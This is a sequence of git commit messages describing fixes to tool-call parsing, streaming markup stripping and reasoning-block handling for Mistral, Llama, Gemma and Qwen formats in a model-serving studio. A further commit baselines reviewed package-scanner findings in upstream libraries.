matching so calls emitted after a reasoning preamble are recognised
regardless of position.
Streaming gates (TOOL_XML_SIGNALS, llama_cpp.py _TOOL_XML_SIGNALS) and
the SSE strip regex (routes/inference.py _TOOL_XML_RE) gain the new
sentinels so the parser is actually invoked and the raw markup never
leaks to the UI.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Strip unclosed think blocks and catch rehearsal [ARGS] mid-buffer
The pre-existing ``_THINK_TAG_RE`` only matched closed thinking
blocks (``<think>...</think>`` or ``[THINK]...[/THINK]``). During
streaming the model is still inside the open block when the parser
runs, so any tool-shaped markup the model is REHEARSING inside that
block survived the strip and could be executed as a real call.
Switch both copies of the regex (parser + healing) to accept the
trailing block being terminated by end-of-string in addition to
the explicit closer.
The ``_TOOL_XML_SIGNALS`` list on the llama_cpp streaming buffer
included ``[ARGS]`` to catch rehearsal syntax, but the gate used a
``startswith`` check against the buffer head -- rehearsal is shaped
``name[ARGS]{json}``, so the buffer never STARTS with ``[ARGS]``
and the signal had no effect. Add a substring fallback for the
bracket-style signals so the BUFFERING window can still divert the
stream into DRAINING when rehearsal markup arrives mid-buffer.
Adds three regression tests covering rehearsal inside unclosed
``<think>`` / ``[THINK]`` blocks (must yield no calls) and the
positive case after a closed think block (still parsed).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden bracket-tag tool-call parsing and streaming strip
Address review findings on the Mistral [TOOL_CALLS] / rehearsal [ARGS] paths:
- Accept hyphenated tool names in the bracket parsers and strip patterns.
_MISTRAL_BRACKET_RE and _REHEARSAL_RE used \w+, which dropped or truncated
MCP function names containing dashes (mcp__srv__list-issues). Use [\w-]+ to
match the XML and Gemma parsers.
- Strip a partial bracket marker streamed before its opening brace. The
trailing-unclosed patterns required the {, so a [TOOL_CALLS]web_search or
python[ARGS] split across deltas leaked the raw marker to the UI. Match the
bare marker to end-of-text, mirroring how the bare open tags are stripped.
Closed pairs are unchanged so in-progress markup stays buffered until parsed.
- Strip a truncated bracket tail in the route-level display regex. _TOOL_XML_RE
required a balanced JSON object; a tool call truncated by EOS now strips up
to \Z, like the orphan-opening XML shapes. Complete calls still strip only
their balanced JSON so following prose survives.
Add regression tests for hyphenated names, the streaming partial-marker strip,
and the unclosed-tail route strip.
* Studio: preserve XML parameter indentation in tool_healing
The chat template emits <parameter=k>\nVALUE\n</parameter>; the parameter-start
regex consumed the wrapping newline AND the value's first-line indentation via a
trailing \s*, then str.strip() removed the rest, corrupting code/diff arguments.
Narrow the trailing class to horizontal whitespace and trim exactly one wrapping
newline (_trim_param_value), preserving indentation. Matches SGLang's qwen3_coder
detector and the same fix on the multi-format parser. Add a regression test.
* Studio: tighten Mistral/rehearsal tool-call comments
Compress the comments in the Mistral [TOOL_CALLS] / rehearsal [ARGS] healing shim
and its callers to one or two lines, keeping the bracket-tag stripping rationale,
the thinking-block handling note, and the forge attribution intact.
Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; tests green).
* Studio: fix think-strip arg corruption and nested bracket-JSON strip
Review follow-up for the Mistral/rehearsal healing shim:
- The <think>/[THINK] strip ran unconditionally over the whole content before
parsing, so a real tool argument that legitimately contained a <think> /
[THINK] literal was silently corrupted. Don't delete the blocks: compute the
reasoning-block spans and skip any tool-call candidate that STARTS inside one,
across all parse paths (JSON, Gemma, XML, bracket, rehearsal). A rehearsed call
inside reasoning is still ignored; a real call after </think> still parses.
- The bracket-tag display strip used a fixed one-level-nesting regex, so a call
with two-level-nested JSON args either leaked raw markup or, in final mode, let
the catch-all eat the trailing prose. Add a balanced-brace
_strip_bracket_tag_calls pass (any nesting depth) used by strip_tool_call_markup
and the route display strip.
Add regressions: <think>/[THINK] literal inside a real argument, rehearsal-inside-
think with a real call after, and two-level-nested bracket/rehearsal strip keeping
trailing prose.
* Studio: correct think-block comments to match span-skip behavior
The think-strip fix replaced the unconditional think-block strip with a
span-skip (the block is kept and any tool-call candidate starting inside it is
ignored), but two comments still described the old strip-first behavior. Update
the _THINK_TAG_RE comment and the parse_tool_calls_from_text docstring.
* Studio: parse Mistral arrays and call-ids, unify bracket parse/strip, keep it linear
- Parse the canonical Mistral array form (TOOL_CALLS followed by a JSON list of
calls) and emit every call; parse the v11 shape that carries an opaque CALL_ID
token between the name and ARGS (the function name is the token after
TOOL_CALLS, never the call-id); and parse a Mistral call plus a rehearsal call
in one message (the second was dropped yet still stripped from display).
- One shared balanced forward scan (_iter_bracket_spans) backs both the parser
and the strip path, so they no longer diverge. It is linear: each regex is
re-searched only once its cached match falls behind the cursor, replacing the
per-match full-tail re-scan that was O(n^2) (O(n^3) over a stream). A length cap
before the scan is a backstop.
- strip_tool_call_markup preserves think/reasoning blocks verbatim (the parser
skips tool markup inside them), stripping only the visible text around them.
- _in_think uses bisect over the sorted think spans (was a linear scan per
candidate).
- GGUF streaming strip runs the balanced bracket pre-pass before the regex
patterns so nested-arg calls do not leak or eat trailing prose, and the
BUFFERING ARGS detector requires the rehearsal name-ARGS shape.
- Tests: canonical array, array string-args, array strip keeps prose, Mistral
plus rehearsal multi-call, v11 call-id name, think-rehearsal strip
preservation, and bracket-strip linearity.
* Studio: preserve reasoning blocks in the route and streaming strip paths too
Addresses Gemini/Codex review: making strip_tool_call_markup preserve think
blocks left the route display strip and the GGUF streaming strip inconsistent,
so a rehearsed call inside a reasoning block was still deleted from the visible
text on those paths.
- Extract the think-block segmentation into one shared helper (strip_outside_think)
and route all three strip paths through it: strip_tool_call_markup,
_strip_tool_xml_for_display, and the GGUF _strip_tool_markup_streaming closure.
- Add a route-strip regression test that a rehearsal inside a reasoning block is
preserved while a real call outside it is still stripped.
* Studio: fix bracket-tag strip/buffer review findings
Address the live code-review findings on the Mistral bracket-tag / rehearsal
tool-call rescue path:
- tool_healing: a literal think block inside a tool-call argument is no longer
treated as a reasoning block. strip_outside_think now excludes think spans
that sit inside a complete tool-call span, so the call is stripped whole
instead of the split hiding its open/close pair and leaking the raw call.
- tool_healing: the rehearsal trailing-strip pattern requires a following brace
or end-of-text, so prose that merely mentions name[ARGS] is not truncated as
a phantom call. The bracket strip patterns are aligned with the parser
regexes (whitespace, v11 [CALL_ID]/[ARGS] metadata, and the [CALL_ID]
lookbehind).
- routes: strip a truncated canonical Mistral array ([TOOL_CALLS] [{... with no
closing bracket) that the balanced scan cannot remove, align the display
regex with the parser regexes, and apply the same rehearsal-prose guard.
- safetensors loop: mirror the GGUF [ARGS] rehearsal-substring check during
BUFFERING so a rehearsal name does not stream before its [ARGS] arrives.
Adds regression tests for each; existing parser suite stays green.
* Studio: hold split rehearsal tool-name prefix in both streaming loops
A reasoning-model rehearsal call can stream the tool name and its [ARGS] arm in
separate chunks (web_search then [ARGS]{...}). The buffering detector only
recognised the rehearsal once [ARGS] was present, so the bare tool name was
emitted as visible content before the call drained and executed.
Add _is_rehearsal_prefix (mirrored in the safetensors loop and the GGUF loop):
when a no-signal buffer is a bare active-tool name -- or a partial prefix of
NAME[ARGS] -- hold it as a prefix instead of streaming it, so the next chunk's
[ARGS] flips it to a drain. A whitespace in the buffer means prose, not a split
call, so ordinary text still streams.
Adds regression tests for the split rehearsal in both loops and a guard that a
plain non-tool word still streams.
* Studio: route Anthropic tool-call cleanup through the protected display strip
The Anthropic stream, non-stream, and passthrough paths cleaned content with raw
_TOOL_XML_RE.sub instead of _strip_tool_xml_for_display, so a rehearsal call
inside <think> was deleted from the reasoning and a nested [TOOL_CALLS] call
dropped its trailing prose (the OpenAI-compatible paths already use the helper).
Route all four sites (prior-assistant cleanup, streaming content events,
non-stream aggregation, passthrough conversion) through the protected helper, and
add a source-level guard test so raw _TOOL_XML_RE.sub stays confined to the
helper itself.
* Studio: stop split rehearsal tool names leaking once streaming, uncapped, or unrestricted
The split-rehearsal guard (NAME in one chunk, [ARGS]{...} in the next) only held
the name in the initial BUFFERING state. Three gaps remained where the bare tool
name still streamed as visible content before the call drained:
- STREAMING: after prose had already streamed, both loops emitted a trailing
active-tool-name token (and the GGUF/safetensors [ARGS] boundary was not pulled
back over the name). Hold the trailing rehearsal token and release it on the
next chunk, with an end-of-stream flush so a plain answer that merely ends on a
tool-name word is never dropped.
- Buffer cap: a realistic MCP name longer than the 32-char _MAX_BUFFER_CHARS cap
defeated the BUFFERING hold. A rehearsal prefix is self-bounding (it stops
matching once it grows past NAME[ARGS]), so the generic cap no longer applies to
it.
- Unrestricted mode (tools=[]): with no declared tool list, any bare identifier
may be a NAME[ARGS] rehearsal, so the prefix check now recognises one instead of
leaking the name and mis-parsing the call.
Regression tests cover the streaming, long-name, and unrestricted cases plus the
plain-prose paths that must not be held or corrupted.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: protect think blocks in safetensors streaming, hold split rehearsal on initial flush, advertise Mistral tools
Pass-3 review follow-ups on the Mistral [TOOL_CALLS] / rehearsal [ARGS] work:
- Safetensors streaming display strip now preserves think / [THINK] reasoning
verbatim (routes through strip_outside_think like the GGUF path). A call
rehearsed inside a reasoning block was stripped mid-stream and then restored by
the final strip, a non-monotonic shrink/grow that corrupted append-by-length
stream consumers and the visible reasoning.
- The first flush out of BUFFERING (safetensors and GGUF) now applies the same
trailing-name hold the STREAMING branch uses, so a split rehearsal (prose plus a
trailing active tool name in one chunk, [ARGS]{...} in the next) no longer leaks
the bare name before the call drains.
- Safetensors capability gate no longer suppresses tools for Mistral [TOOL_CALLS]
templates, which the shared bracket-tag parser now handles end to end. Llama
python_tag stays suppressed (still unparseable).
- Route display strip applies the open-ended / bare-marker tail arms only on the
segment after the last reasoning block (closed-only regex before it), matching
strip_tool_call_markup, so a bare foo[ARGS] before a reasoning block is preserved
while complete calls are still removed in every segment.
Adds regression tests for each and updates the now-stale Mistral capability test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix tool-call think-marker and bracket-wrapper edge cases
Round-1 review follow-ups on the Mistral/rehearsal tool-call healing:
- tool_healing: a reasoning marker that opens INSIDE a tool call's
arguments is argument data, not a reasoning block. Add
_think_spans_outside_tool_markup (start-inside test) and use it in
both parse_tool_calls_from_text and strip_outside_think so a literal
marker in one call's args no longer hides a later call (parse) or
leaks the raw markup (strip) when the greedy match runs past the
call's closer.
- tool_healing: strip the orphan Mistral v11 [/TOOL_CALLS] closer left
behind after the balanced scan removes the call body. Add a route arm
for the same closer in _TOOL_XML_RE / _TOOL_XML_CLOSED_RE.
- safetensors + llama_cpp streaming strip: run the open-ended (EOS
anchored) tail patterns only on the last segment; segments before a
reasoning block use the closed-only patterns, matching the final
strip and the route strip. A bare foo[ARGS] before a reasoning block
is prose, not a truncated call.
- safetensors streaming detector: validate each [ARGS] hit before
draining. A bare foo[ARGS] in prose (no active tool name in front)
no longer drains the rest of the turn; a later real NAME[ARGS] call
is still found and the prose in between is preserved.
Regression tests added for each case across the parser, strip helpers,
and both streaming loops.
* Strip incomplete-XML tool markup with literal think tags; widen render-html detector
Round-2 review follow-ups.
- tool_healing: an UNCLOSED <tool_call> / <function= call that the parser still
executes via allow_incomplete leaked its markup when an argument contained a
literal think marker. _tool_call_markup_spans only covered closed calls, so the
literal was treated as a reasoning block to preserve. Extend it to the
open-ended XML tail forms (shared as _TOOL_OPEN_XML_TAIL_PATS) so a think marker
inside an unclosed call is argument data and the call's markup is stripped. A
complete call's opener stays bounded to its closed span, and a real reasoning
block with no tool call is still preserved.
- safetensors render-html provisional card: _detect_render_html_tool_start was
XML-only, so a Mistral [TOOL_CALLS]render_html or rehearsal render_html[ARGS]
call executed but skipped the early card. Detect the earliest tool-call marker
across every serialization the loop executes and fire when it is render_html.
Regression tests added for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: gate [ARGS] on active tools and skip think-block render_html rehearsal
Round 3 review fixes for the Mistral / rehearsal tool-call parsing path. Both are
asymmetric-fix bugs where one code path applied a guard the analogous paths did not.
- [ARGS] active-tool gating: the streaming state already validates a rehearsal
NAME[ARGS] against the active tool list before draining, but the BUFFERING
detection and the end-of-stream safety-net checks (safetensors and GGUF) treated
any word[ARGS] substring as a tool boundary. An answer containing a literal
foo[ARGS]{...} in prose, where foo is not an enabled tool, was drained, parsed into
a disabled foo no-op, and forced an extra generation turn. Gate those checks on the
active tool name too (unrestricted mode still accepts any name), so inactive-name
prose is neither drained nor parsed. Adds a shared _has_genuine_tool_signal helper
(safetensors) and _gguf_rehearsal_signal_pos / _gguf_has_genuine_tool_signal (GGUF).
- render_html provisional card vs think blocks: the parser skips tool candidates that
start inside a <think>/[THINK] reasoning block, but the provisional render_html
detector scanned raw content. A render_html rehearsed inside <think> followed by a
real non-render_html call emitted a provisional render_html tool_start (reusing the
later call's id) that the loop never executed. Drop candidates that start inside a
think span and use the first marker of each shape outside the blocks. Also resolve
the [TOOL_CALLS] [{...}] array shape through the parser so a nested "name" argument
key no longer fires a false provisional card ahead of the real top-level tool name.
Adds regression tests for both loops: inactive-name foo[ARGS]{...} is not drained into
a disabled no-op or a retry turn, a think-block render_html rehearsal emits no
provisional card, and the array top-level name is read correctly.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate ambiguous bare-rehearsal parse and strip on the active tool list
A bare NAME[ARGS]{json} is a genuine rehearsal call only when NAME is an
active tool; otherwise it is prose. The earlier round gated only detection
(so an inactive foo[ARGS] no longer drained the buffer or forced a retry
turn), but the parse and strip stayed unrestricted, which produced two
regressions:
1. An inactive foo[ARGS]{...} placed immediately before a real
web_search[ARGS]{...} in the same content span made the real call fail
to execute (parse consumed the phantom foo call).
2. An inactive foo[ARGS]{...} in a prose answer had its markup stripped
from the visible text, corrupting the sentence to " is just syntax."
Thread enabled_tool_names through the shared parser/strip so parse and
strip apply the SAME active-tool gate as detection:
- core/tool_healing.py: _iter_bracket_spans skips an inactive rehearsal
span; parse_tool_calls_from_text, _strip_bracket_tag_calls,
_strip_markup_segment and strip_tool_call_markup accept and thread the
gate; apply_tool_strip_patterns keeps an inactive rehearsal match.
- core/inference/tool_call_parser.py: wrappers forward the gate.
- core/inference/safetensors_agentic.py and core/inference/llama_cpp.py:
compute the gate from the active tool list (None when unrestricted, to
keep the legacy strip-all behavior) and thread it into every parse and
streaming/final strip site.
- routes/inference.py: _strip_tool_xml_for_display accepts the gate and
keeps an inactive rehearsal via a capture group on its rehearsal arm, so
the display cleanup does not re-strip the already-correct loop output.
The [TOOL_CALLS] control-token arms still strip unconditionally. Wire
the current turn's active tool names into the GGUF and safetensors
content-display sites.
Tests: parse and strip gate coverage in test_tool_call_parser_strict.py,
test_tool_xml_strip.py and test_safetensors_tool_loop.py; end-to-end GGUF
coverage for the real-call-after-inactive-rehearsal case and a
strengthened assertion that the inactive rehearsal prose survives intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: render the reasoning block for safetensors and MLX like GGUF
enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.
- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
inside the reasoning block and splits on the first </think>; default False
keeps GGUF and every existing caller byte-identical. It suppresses a stray
re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
request, an enable_thinking or enable_thinking_effort style, and the template
actually using the standard <think>/</think> markers. Models with a bespoke
reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
through the extractor, emitting reasoning_content then content deltas, with a
per-turn reset in the tool loop and a flush before each tool_start; only the
visible delta reaches the monitor reply. The two non-streaming drains split
reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
including the gemma-style exclusion, and a route-replay of the tool-loop
reasoning stream.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: skip tool calls rehearsed in prefilled reasoning
Reasoning models (Qwen3.5 enable_thinking) open <think> in the prompt, so the
generated text starts inside the thought and emits only a closing </think> with
no opener. _think_spans_outside_tool_markup only found spans with an explicit
opener, so a NAME[ARGS]{...} or [TOOL_CALLS] call rehearsed in that leading
thought was parsed and executed as a real call.
Add a leading think span (offset 0 through the first close marker) when the
content opens with a bare close, so the rehearsed call is skipped and the
reasoning is preserved by strip_outside_think. Guarded by the existing call-span
check: a literal </think> inside a real call's arguments does not trigger the
span, so a genuine leading call still fires. Tests for both cases.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: do not start prefilled reasoning mode when reasoning_effort is none
enable_thinking_effort models (e.g. GLM-5.2) express thinking-off via
reasoning_effort="none" rather than enable_thinking=False, but
_sf_reasoning_prefill_mode only looked at enable_thinking, so such a request
started the extractor in prefilled mode. With thinking off the model never emits
</think>, so the whole answer was captured as reasoning_content and the visible
content/stream came back empty. Thread reasoning_effort through and return False
when it is "none". Tests for none vs a real effort level.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: only treat a leading bare </think> as prefilled reasoning when a real call follows
The prefilled-reasoning virtual span fired on any unmatched leading close marker,
so a non-prefilled turn that emits a real call before a stray </think> (for
example "Now web_search[ARGS]{...}</think> answer") had the call swallowed by the
span and dropped. Require that a real tool call also appear after the close (the
actual turn that follows the thought) before adding the span, so a stray close in
a normal answer no longer suppresses a genuine leading call. The rehearse-then-
call case still skips the rehearsal. Test for the stray-close case.
* Studio: trim redundant comments (comment-only, AST-verified)
* studio: keep tool_healing importable on Python 3.9
_balanced_json_span was annotated -> int | None. With no
from __future__ import annotations, that PEP 604 union is evaluated at
import time, so on Python 3.9 (which the package still supports,
requires-python >=3.9, and where external inference servers import this
module standalone) the def raises TypeError and the whole module fails
to import before any parsing runs.
Add from __future__ import annotations so annotations stay lazy strings,
matching the prevailing convention across studio/backend. No behavior
change: the module has no runtime annotation introspection.
* Studio: gate the Anthropic tool-stream display strip on declared tools
The Anthropic streaming and non-streaming tool paths called
_strip_tool_xml_for_display without enabled_tool_names, so with the default
strip-all behavior a final answer that literally contains an inactive-name
NAME[ARGS]{json} (prose, not a call) lost those bytes in the delivered text.
The GGUF and safetensors paths already pass _display_tool_name_gate(tools);
these two sites were missed when that gate was threaded through.
Compute the gate from the declared tools and pass it at both sites (threading
openai_tools into _anthropic_tool_non_streaming and its caller), so an
inactive-name rehearsal survives while an active-name one is still stripped.
Add a regression test.
* Studio: hold a split unrestricted rehearsal prefix at the bracket
In unrestricted tool mode (tools=[]) the rehearsal-prefix regex required
[A after the bracket, so a chunk boundary landing right after NAME[ (e.g.
web_search[ then ARGS]{...}) failed the prefix check and streamed the
partial tool markup web_search[ to the client before the call drained.
Restricted mode already holds this via a startswith check. Make the bracket
and each ARGS letter individually optional so NAME[ is held too, matching
the documented intent. Add a regression test.
* Studio: gate rehearsal detection and history strip on the original tool set
Two display/loop gate fixes so a spent one-shot tool is handled consistently:
- Rehearsal DETECTION (safetensors and GGUF loops) now uses the ORIGINAL tool
list, matching the strip gate, instead of the post-removal active_tools. After a
one-shot tool (render_html) runs it is dropped from active_tools; a repeat
render_html[ARGS]{...} while another tool is still active was stripped from
display yet never detected, so it was not routed to the render_html_repeat no-op
and the turn ended as a blank continuation. Detection now fires for it.
- The GGUF assistant-history sanitiser forwards the enabled-tool-name gate (like
the live-response strip), so a prior turn documenting an inactive foo[ARGS]{...}
shape is preserved in the replayed prompt context instead of being deleted.
Add regression tests for both loops and the history strip.
* Studio: thread the tool-name gate through the remaining rehearsal/history sites
Follow-up to the rehearsal-detection and history-strip gate fixes, covering the
sibling sites that were missed:
- GGUF loop: the rehearsal-prefix and trailing-name hold checks now use the
original tool list (_detect_tools) like the detection path, so a spent one-shot's
split repeat (bare render_html then [ARGS]{...}) is held instead of flushed as
visible text.
- The safetensors and Anthropic assistant-history sanitisers and the Anthropic
non-streaming passthrough now forward the enabled-tool-name gate to
_strip_tool_xml_for_display, matching the GGUF history sanitiser and the live
strips, so a prior turn documenting an inactive foo[ARGS]{...} example is
preserved in the replayed prompt / final text instead of deleted.
Add regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tile bracket-call spans per array item and include the v11 closer
Two with_spans fixes for the Mistral bracket parser, both hit through the
client-tool passthrough healers:
- A multi-call [TOOL_CALLS] array carried its whole markup span on the first
call and zero-width spans after, so a consumer that filters promotions by
the declared tool set either re-emitted the full raw array as text next to
the promoted call or silently dropped a filtered call's bytes. The region is
now tiled across the call-producing items (each call's span covers its own
JSON object plus the separator bytes before it; the last span runs to the
region end), so promoted markup strips exactly once and a skipped call's
bytes stay visible.
- The v11 wrapper closer [/TOOL_CALLS] sat outside the reported span and
leaked as stray text after promotion; the region now extends over an
immediately-following closer.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: decouple healer signals from the loop signal set
The passthrough healer buffered on every TOOL_XML_SIGNALS entry, so the bare
[ARGS] rehearsal marker this branch adds for the loops (where it is gated on
active tool names) put legitimate prose like 'Use foo[ARGS] in templates'
into the holding state and stalled the stream until finalization. The healer
can never promote a bare rehearsal call, so it now buffers only on formats
its parser promotes: <tool_call>, <|tool_call>, <function=, [TOOL_CALLS].
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Condense comments in the Mistral tool-call rescue to contract essentials
* verify_import_hoist: exempt __future__ imports and same-diff relocations
Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.
* Drain the whole Mistral [TOOL_CALLS] array in streaming passthrough healing
StreamToolCallHealer._drain promoted only the first parsed call per pass and
dropped the rest of the buffer past that one span. For a well-formed Mistral
parallel-tool-call array streamed through client-tool passthrough
([TOOL_CALLS][{...},{...}]), the per-item spans are contiguous, so after the
first call was promoted the residue began with ,{...}] (no leading signal) and
was flushed as raw text: every call after the first was lost.
_drain now walks the contiguous run of parsed calls (adjacent tiled spans =
one array), promoting each declared call and relaying undeclared ones as data,
and stops at the first gap (prose) or incomplete trailing block so separate
blocks still stream incrementally in document order. This mirrors the
non-streaming heal_openai_message / finalize promote-or-flush loop and the
server-side safetensors loop, which already handled multi-call arrays.
Added regression tests: 2-call array in one feed and char-by-char, an
undeclared middle call kept as text, and an array followed by trailing prose.
* Drain comma-less Mistral tool-call arrays and normalize null arguments
The array branch fed the whole body to a single json.loads, which rejects the
comma-less multi-call form the repo's own Mistral/Ollama templates render (the
range loop in ollama_template_mappers.py emits the objects with no separator) and
so dropped every call. Decode elements individually with the existing
comma-tolerant raw_decode helper, now _decode_array_items, which also returns the
objects, so all calls are recovered while the span tiling is unchanged.
Also normalize a non-object array argument such as arguments null to an empty
object, matching the wrapped tool_call path, instead of serializing None to the
string "null" that auto-heal would turn into a bogus query of "null".
* Gate safetensors reasoning prefill on the rendered generation prompt
reasoning_always_on fires on any paired <think></think> in the template,
including markup that only renders PAST assistant history (Kimi-K2-Thinking)
while the generation prompt opens no <think>. Starting the reasoning extractor
in prefilled mode there captured a normal answer entirely as reasoning_content
and returned blank visible content. Prefill only when rendering the generation
prompt actually leaves <think> open (DeepSeek-R1 / QwQ / Qwen3-Thinking);
history-only templates start the extractor in normal mode and parse the model's
own <think>...</think>. Adds a Kimi-shape regression test.
* Keep bare scalar Mistral array arguments raw instead of double-encoding
A scalar string argument in the canonical Mistral [TOOL_CALLS] array
(for example [TOOL_CALLS][{"name":"web_search","arguments":"weather"}])
was run through json.dumps, turning weather into the JSON string
"weather". The downstream argument healer then wrapped that quoted
form, so a single-string tool like web_search searched for the literal
"weather" with quotes. The <tool_call> path already keeps a scalar
argument raw; mirror it here so only a dict is serialized. Add a
regression test asserting both paths yield the same healed arguments.
* Tighten tool-call rescue and reasoning-prefill comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The pip scan-packages gate (SCAN_ENFORCE=1) blocks on non-baselined
CRITICAL/HIGH findings. Recent upstream releases of transitive
dependencies added new files/loops that trip the pattern scanner, so all
three shards (extras, hf-stack, studio) red-failed on legitimate library
code. Add the 7 reviewed findings to scripts/scan_packages_baseline.json.
Each entry is genuine upstream code from the official PyPI archive:
- huggingface-hub huggingface_hub/_sandbox.py (staged dropper + C2 loop):
the HF Jobs sandbox bootstrap string and its host-pool reservation
loop. New in huggingface_hub 1.x (pulled via huggingface_hub>=0.34.0).
- huggingface-hub huggingface_hub/hf_api.py, utils/_http.py (C2 loop):
standard polling / retry while True loops.
- fastapi fastapi/routing.py (C2 loop): websocket receive loop.
- fastmcp-slim fastmcp/cli/apps_dev.py (fs enum + network): the FastMCP
dev CLI (PrefectHQ) making httpx/socket calls.
- cffi cffi/_cffi_gen_src.py (compile + exec): cffi generating and
running C extension source, its core purpose.
Additive only: no existing baseline entry is changed or removed. Verified
by re-running the scanner over the full closure on Python 3.12.13 (the CI
interpreter); it now exits 0 with only MEDIUM findings remaining.
* studio: tool calling for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5615)
Adds tool calling for Llama-3, Mistral (pre-v11 + v11+ + [ARGS]), and Gemma 4 to the safetensors / transformers and MLX backends. Parser patched against llama.cpp / vLLM / SGLang per-family parsers and normalises to OpenAI shape. 96 targeted unit tests + cross-OS staging CI (ubuntu / macos-14 / windows) green on the multi-format probe.
* studio: tool-call healing parity between safetensors / MLX and GGUF
After the multi-format parser landed in #5615, the safetensors / MLX
agentic loop and the GGUF loop still differed on healing behaviour.
This commit closes the gaps in both directions so the two backends
react the same way to identical model output.
Changes:
1. core/inference/llama_cpp.py -- the GGUF BUFFERING state machine
now wakes on every emission marker the shared parser knows. Was
("<tool_call>", "<function="); is now the five-tuple imported
from core.inference.tool_call_parser (Qwen / Qwen3.5 / Llama-3
<|python_tag|> / Mistral [TOOL_CALLS] / Gemma 4 <|tool_call>).
Stream cleanup is delegated to the same shared strip_tool_markup
so leaked markup from any family is removed from assistant
content.
2. core/inference/llama_cpp.py -- per-tool canonical heal key. When
a tool arguments field is a bare string and JSON parsing fails,
the GGUF path now heals to {"code": raw_args} for python,
{"command": raw_args} for terminal, and {"query": raw_args} for
everything else. Was hard-coded to {"query": raw_args}, which
silently routed every python / terminal emission through
web_search. Mirrors safetensors_agentic._CANONICAL_HEAL_ARG.
3. core/inference/safetensors_agentic.py -- re-prompt on plan-
without-action. When the model emits a short forward-looking
intent ("I'll search for that", "Let me check", "First, I
will...") and no tool call, the loop nudges the model to act
instead of silently returning a plan-only answer. Up to
_MAX_REPROMPTS=3 (matches GGUF). The intent regex, character
cap, and instruction text are byte-identical to the GGUF path.
The buffer-end fall-through is unified so a buffered intent
emission that never exits the BUFFERING state still triggers
the re-prompt.
4. core/inference/safetensors_agentic.py -- extra iteration slots
for re-prompts. The loop now budgets max_tool_iterations +
_MAX_REPROMPTS + 1 total iterations and tracks the tool-call
count separately, so a stalling model can be nudged 3x without
eating the caller's tool-call budget. Mirrors the _extra slot
reservation in the GGUF path.
Tests (14 new safetensors-side units; 5 GGUF parity pins):
TestLoopRePrompt -- intent-trigger, plain-answer,
no-tools, cap-at-three, budget
preserved, buffer-end intent.
TestLoopCanonicalHealKey -- python / terminal / unknown.
TestGGUFSafetensorsHealingParity -- shared markers used, shared
strip used, canonical heal keys
identical, intent regex matches
same phrases, _MAX_REPROMPTS
equal on both backends.
All 110 targeted tests pass locally; the broader tool / inference /
model-config / sandbox / anthropic / mlx suites stay green.
Why this matters
Without this parity, Llama-3.2 / Mistral / Gemma 4 emissions on Mac
(MLX) and Linux-safetensors stop the agentic loop as soon as the
model says "Let me...", because the GGUF re-prompt logic never
existed on these backends. The two-marker GGUF BUFFERING tuple also
let non-Qwen tool emissions stream out as plain prose when
llama-server's structured channel did not pick them up. Both paths
now drain the same way, heal the same way, and re-prompt the same
way -- so a tool call that works on GGUF works identically on
safetensors / MLX.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: fix tool-call parser bugs from gemini review on #5620
Three high-priority gemini findings on the tool-call parsing additions:
1. unicode_escape on UTF-8 bytes corrupts non-ASCII literals
(e.g. ✨ becomes â\x9c¨). Replace with json.loads on a quoted
string -- preserves emoji / CJK / RTL while still handling
\n \t \uXXXX escapes.
2. Llama-3 sentinel stripping is order-dependent. A leading
`<|eot_id|><|begin_of_text|>` left `<|begin_of_text|>` behind
because the loop had already passed that sentinel. Loop until
no sentinel matches at the start.
3. Mistral v11+ `[TOOL_CALLS] name { json }` regex uses non-greedy
`\{.*?\}` which truncates at the first `}` of a nested JSON
argument, leaking the tail (e.g. `}}`) into user-visible
streamed text. Same problem for the v0.3 array pattern with
nested brackets. Strip those with balanced brace/bracket
